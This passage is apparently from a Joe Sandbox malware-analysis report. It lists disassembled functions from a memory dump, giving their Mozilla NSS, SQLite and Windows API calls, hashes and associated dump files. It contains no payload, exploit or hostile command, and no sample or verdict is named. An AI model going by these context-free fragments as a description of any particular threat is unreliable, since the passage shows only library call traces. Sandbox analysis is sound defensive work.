Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 53ca5357c27e25da5155bbd589860689888beea531420ea73f18ff8a339c81e0
Instruction ID: d9dd2f0a196d13847791289672bf4833e62b0a11dbc40ae87086053125ec07ee
Opcode Fuzzy Hash: 53ca5357c27e25da5155bbd589860689888beea531420ea73f18ff8a339c81e0
Instruction Fuzzy Hash: CC51B0B6800600DBCB20DF65D88468AB7F0FF04318F26856ED8595BB56EB39F985CBD1

Function 6CE1DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE1DCFA

Part of subcall function 6CED9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DC6
Part of subcall function 6CED9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF20A27), ref: 6CED9DD1
Part of subcall function 6CED9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CED9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE1DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE1DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE1DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE1DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE1DD8F

Part of subcall function 6CE306A0: TlsGetValue.KERNEL32 ref: 6CE306C2
Part of subcall function 6CE306A0: EnterCriticalSection.KERNEL32(?), ref: 6CE306D6
Part of subcall function 6CE306A0: PR_Unlock.NSS3 ref: 6CE306EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE1DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE1DDB7

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 5bfe97fd74fa708c6145d88a60be6f1d2d4c88ca3df91d7b88f5fbd4f7d689bb
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: C2218FBAE051159BDF029EA4DC809DEB7B4AF0521CF250128EC18A7F01E731EA25CBE1

Function 6CEA5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5F72

Part of subcall function 6CE0ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE0ED8F
Part of subcall function 6CE0ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE0ED9E
Part of subcall function 6CE0ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE0EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5FCC
free.MOZGLUE(?,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5FF4
free.MOZGLUE(?,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CEAAADB,?,?,?,?,?,?,?,?,00000000,?,6CEA80C1), ref: 6CEA6036

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: a0c9ef0b31338bc32f59cb02a3bdc1ef4055d4e800049ca54ff73621b3cd5990
Instruction ID: 8233aa38108d5490c23b593ee2af1eeee661b7a74c22c4e1cc610c3ef52f25ff
Opcode Fuzzy Hash: a0c9ef0b31338bc32f59cb02a3bdc1ef4055d4e800049ca54ff73621b3cd5990
Instruction Fuzzy Hash: 10211FF5A05B009BEA209F75D8497D377B8AB4570CF24092CE4AACB740E736E015CB91

Function 6CE13C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CE8460B,?,?), ref: 6CE13CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE13CB9
PL_HashTableLookup.NSS3(?), ref: 6CE13CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE13CD6
PR_Unlock.NSS3 ref: 6CE13CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE13CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE13D03
PR_Unlock.NSS3 ref: 6CE13D15

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 68e1030c2df8d09d305c75a25b06068961c237db8e65e9fe6074f30bb29201d2
Instruction ID: 23cd83c48d848e400f4c6cd54eff2740b4363964df085126461b9b719ef7b92d
Opcode Fuzzy Hash: 68e1030c2df8d09d305c75a25b06068961c237db8e65e9fe6074f30bb29201d2
Instruction Fuzzy Hash: 77112C76E64114A7DB012724EC09ABA3A38EB0335CF354134ED1853B11F722D97886F1

Function 6CE19C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE311C0: PR_NewLock.NSS3 ref: 6CE31216

free.MOZGLUE(?), ref: 6CE19E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE19E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE19E4E
TlsGetValue.KERNEL32 ref: 6CE19EA2

Part of subcall function 6CE29500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE29546

EnterCriticalSection.KERNEL32(?), ref: 6CE19EB6
PR_Unlock.NSS3 ref: 6CE19ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE19F18

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: eb5f7eb108c207986bd6a64b0ada554f302b33e6774d3d7c32cf38894b4209a2
Instruction ID: 45ecd49f77345676b52abe263e9fee6fe6070eb25895540bfa390df078850380
Opcode Fuzzy Hash: eb5f7eb108c207986bd6a64b0ada554f302b33e6774d3d7c32cf38894b4209a2
Instruction Fuzzy Hash: D181BDB5A04601ABEB119F34DC41BABB7B9BF4524CF24452CE85987F41EB31E928C7A1

Function 6CE2DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE2AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE31397,5B5F5EC0,?,?,6CE2B1EE,2404110F,?,?), ref: 6CE2AB3C
Part of subcall function 6CE2AB10: free.MOZGLUE(D958E836,?,6CE2B1EE,2404110F,?,?), ref: 6CE2AB49
Part of subcall function 6CE2AB10: DeleteCriticalSection.KERNEL32(5D5E6D02), ref: 6CE2AB5C
Part of subcall function 6CE2AB10: free.MOZGLUE(5D5E6CF6), ref: 6CE2AB63
Part of subcall function 6CE2AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE2AB6F
Part of subcall function 6CE2AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE2AB76

TlsGetValue.KERNEL32 ref: 6CE2DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE2DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE2DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE2DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE2DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE2DEA6
PR_Unlock.NSS3(?), ref: 6CE2DF08

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 02e09b7c8ce9f3168a19ed75e7f7bc9d1c520f97c016827174ddc953ae29e297
Instruction ID: c99f1b9487e3dbab2b50f7eddd9c57977ab1c5ca4b1c09659c97cb9dc3787a24
Opcode Fuzzy Hash: 02e09b7c8ce9f3168a19ed75e7f7bc9d1c520f97c016827174ddc953ae29e297
Instruction Fuzzy Hash: C791C3B9E001059BEB10CF64C881BAAB7B5EF5430CF344129DE199B741E739EA05CB91

Function 6CDE5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CECBB62,00000004,6CF34CA4,?,?,00000000,?,?,6CDA31DB), ref: 6CDE60AB
sqlite3_config.NSS3(00000004,6CF34CA4,6CECBB62,00000004,6CF34CA4,?,?,00000000,?,?,6CDA31DB), ref: 6CDE60EB
sqlite3_config.NSS3(00000012,6CF34CC4,?,?,6CECBB62,00000004,6CF34CA4,?,?,00000000,?,?,6CDA31DB), ref: 6CDE6122

Strings

%s at line %d of [%.10s], xrefs: 6CDE60A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE6095
misuse, xrefs: 6CDE609F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 9c1b54146b765a52f2ad582624a4507e6e25ebbcc70984ec8e7c266f8d5e9e9c
Instruction ID: 5fae2b56141705168cc4d756e898650ea04d7fd062a21592fcd6caded56dc043
Opcode Fuzzy Hash: 9c1b54146b765a52f2ad582624a4507e6e25ebbcc70984ec8e7c266f8d5e9e9c
Instruction Fuzzy Hash: 15B19671E1864ADFCB44CF1DC640AB9B7F0FF1E304B018159D699AB322E731AA45CBA5

Function 6CD94F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD94FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD951BB

Strings

%s at line %d of [%.10s], xrefs: 6CD951B4
unable to delete/modify user-function due to active statements, xrefs: 6CD951DF
misuse, xrefs: 6CD951AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD951A5

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: f569100d4f7171a98e89627aa23ca12a67ec489115bb9fd9031e84fc62100983
Instruction ID: c2a6b7614780de582a7f109b052b7554bf07ce72b47b2c78d91aacc4f5bda5bc
Opcode Fuzzy Hash: f569100d4f7171a98e89627aa23ca12a67ec489115bb9fd9031e84fc62100983
Instruction Fuzzy Hash: 0671AE79B0420ADBDB00CF55CC80B9A77B5BF48309F144635FD1A9BAA5E331E951CBA1

Function 6CE02D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE02D69

Strings

winTruncate2, xrefs: 6CE02EF8
winUnmapfile2, xrefs: 6CE02F7F
winUnmapfile1, xrefs: 6CE02F55
winSeekFile, xrefs: 6CE02E9C
winTruncate1, xrefs: 6CE02EBE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 4b411f25a6da511a785693b8e825a90fba0a00ae85e5ff3ab415abf525c01a8d
Instruction ID: f939ce60c1b99e7c90924db8b04c6bb2952679079b9f08f3f8ba75c95f3db406
Opcode Fuzzy Hash: 4b411f25a6da511a785693b8e825a90fba0a00ae85e5ff3ab415abf525c01a8d
Instruction Fuzzy Hash: 41619F71B402059FDB44CF64DC88B6A7BF1FB59354F20822CE919AB790DB31AC16CB91

Function 6CE7FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CE7F165,?), ref: 6CE7FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CE7F165,?), ref: 6CE7FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CE7F165,?), ref: 6CE7FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CE7F165,?), ref: 6CE7FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CE7F165,?), ref: 6CE7FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CE7F165,6CF4219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE7FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CE7F165,?), ref: 6CE800A6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 895554400d274fe2e1bdc5b36d5f463b92880ee9a87c3f5bbc4f6b7161db3707
Instruction ID: 0281fba6c389858366349d2693e44fb3f82597d75dde185b0bd8886749fe125a
Opcode Fuzzy Hash: 895554400d274fe2e1bdc5b36d5f463b92880ee9a87c3f5bbc4f6b7161db3707
Instruction Fuzzy Hash: B5510471E026559FDB208EA8C8917AEB7B5BF4931CF350629DC59A7B40D732AC00CBE1

Function 6CE3DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE3DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE3DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE3DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE3E02B
PR_Unlock.NSS3(?), ref: 6CE3E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE3E090
PR_Unlock.NSS3(?), ref: 6CE3E0AF

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 4f251fc747ac52c6c5398e8aec255b6e37f625093229b5fb849fdb277bc67f29
Instruction ID: 8ee4718f43189f80a42692ae2725597ba70d83b9192e8be2efc2d35cc63b1a4b
Opcode Fuzzy Hash: 4f251fc747ac52c6c5398e8aec255b6e37f625093229b5fb849fdb277bc67f29
Instruction Fuzzy Hash: FF51CE35A00A108BDB209F24DC85B6673B5BF45318F305928E85E57BA1D739F949CFD2

Function 6CE3BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE3BD1E

Part of subcall function 6CE12F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE12F0A
Part of subcall function 6CE12F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE12F1D

Part of subcall function 6CE557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE1B41E,00000000,00000000,?,00000000,?,6CE1B41E,00000000,00000000,00000001,?), ref: 6CE557E0
Part of subcall function 6CE557D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE55843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE3BD8C

Part of subcall function 6CE6FAB0: free.MOZGLUE(?,-00000001,?,?,6CE0F673,00000000,00000000), ref: 6CE6FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE3BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE3BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE3BE3A

Part of subcall function 6CE13E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE13EC2
Part of subcall function 6CE13E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE13ED6
Part of subcall function 6CE13E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE13EEE
Part of subcall function 6CE13E60: PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE13F02
Part of subcall function 6CE13E60: PL_FreeArenaPool.NSS3 ref: 6CE13F14
Part of subcall function 6CE13E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE13F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE3BE52

Part of subcall function 6CE12E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE12CDA,?,00000000), ref: 6CE12E1E
Part of subcall function 6CE12E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE12E33
Part of subcall function 6CE12E00: TlsGetValue.KERNEL32 ref: 6CE12E4E
Part of subcall function 6CE12E00: EnterCriticalSection.KERNEL32(?), ref: 6CE12E5E
Part of subcall function 6CE12E00: PL_HashTableLookup.NSS3(?), ref: 6CE12E71
Part of subcall function 6CE12E00: PL_HashTableRemove.NSS3(?), ref: 6CE12E84
Part of subcall function 6CE12E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE12E96
Part of subcall function 6CE12E00: PR_Unlock.NSS3 ref: 6CE12EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE3BE61

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 91b21d6c8f0ce8d818ccbe02dd78d89ad6f0b88e5077279229af672de2cb8067
Instruction ID: 401f38dfcecff0d9175a45f3017db3f1095cf3be47060cdcad5bb4ecdf0ade5b
Opcode Fuzzy Hash: 91b21d6c8f0ce8d818ccbe02dd78d89ad6f0b88e5077279229af672de2cb8067
Instruction Fuzzy Hash: 1F41F1B6E00620AFC710CF29DC80B6A77F4EB45718F61516CE90E9BB51E731E814CB92

Function 6CE5AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CE5AB3E,?,?,?), ref: 6CE5AC35

Part of subcall function 6CE3CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE3CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE5AB3E,?,?,?), ref: 6CE5AC55

